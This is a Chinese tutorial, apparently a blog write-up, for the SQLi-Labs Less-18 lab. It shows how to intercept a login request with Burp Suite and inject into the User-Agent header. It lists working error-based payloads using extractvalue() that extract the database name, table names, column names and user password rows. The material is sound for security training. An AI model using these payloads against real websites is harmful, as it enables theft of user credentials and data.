实验原理
有时候,后台开发人员为了验证客户端HTTP Header (比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如 User-Agent、Accept字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。常见的HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注
入、XFF注入等。
1.访问SQLi-Labs网站
访问Less-18
http://本机IP/sqli-labs/Less-18
2.利用Burpsuite工具抓包
1)启动Burpsuite并设置代理服务端口
2)设置Firefox代理
注意:端口要一致
3)开启 Burpsuite的代理拦截功能
![](https://i-blog.csdnimg.cn/blog_migrate/10bfdc0ae0c2cf91c783ede54dd6aa1c.png)
4)利用Burpsuite工具拦截HTTP请求包
在Firefox浏览器访问Less-18登录界面,输入用户名admin、密码任意,然后点击Submit。此时,Burpsuite会拦截到HTTP请求包
5)将Burpsuite工具拦截到的HTTP请求包发送至 Repeater模块
单击鼠标右键,在弹出的菜单中选择Send to Repeater",将其发送给Burpsuite的 Repeater模块
3.寻找注入点
在原始HTTP请求包的头部字段User-Agent末尾添加单引号,Send后发现报错!
在原始HTTP请求包的头部字段User-Agent末尾添加','','')#,Send后发现未报错!
由此可以判断,目标网站在POST参数处存在字符型注入点
4.获取网站当前所在数据库的库名
...Firefox/97.0' and extractvalue(1, concat( '~',database())),'','')#
5.获取数据库security的全部表名
...Firefox/97.0' and extractvalue(1, concat( '~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))),'','')#
显示结果中,有一个名为users的表,这当中可能存放着网站用户的基本信息。
注意:extractvalue()函数所能显示的错误信息最大长度为32,如果错误信息超过了最大长度,有可能导致显示不全。因此,有时需要借助 limit来做分行显示
具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客
6.获取users表的全部字段名
...Firefox/97.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),'','')#
显示结果,users表中有id、username和 password三个字段
同上一个步骤相似,为了避免错误信息太长导致显示不全,有时需要借助limit来做分行显示
具体可参考基于extractvalue()的报错注入_Z_l123的博客-CSDN博客
7.获取users表id,username,和password字段的全部值
1)显示第一组数据
...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1))),'','')#
2)显示第二组数据
...Firefox/97.0' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))),'','')#
以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。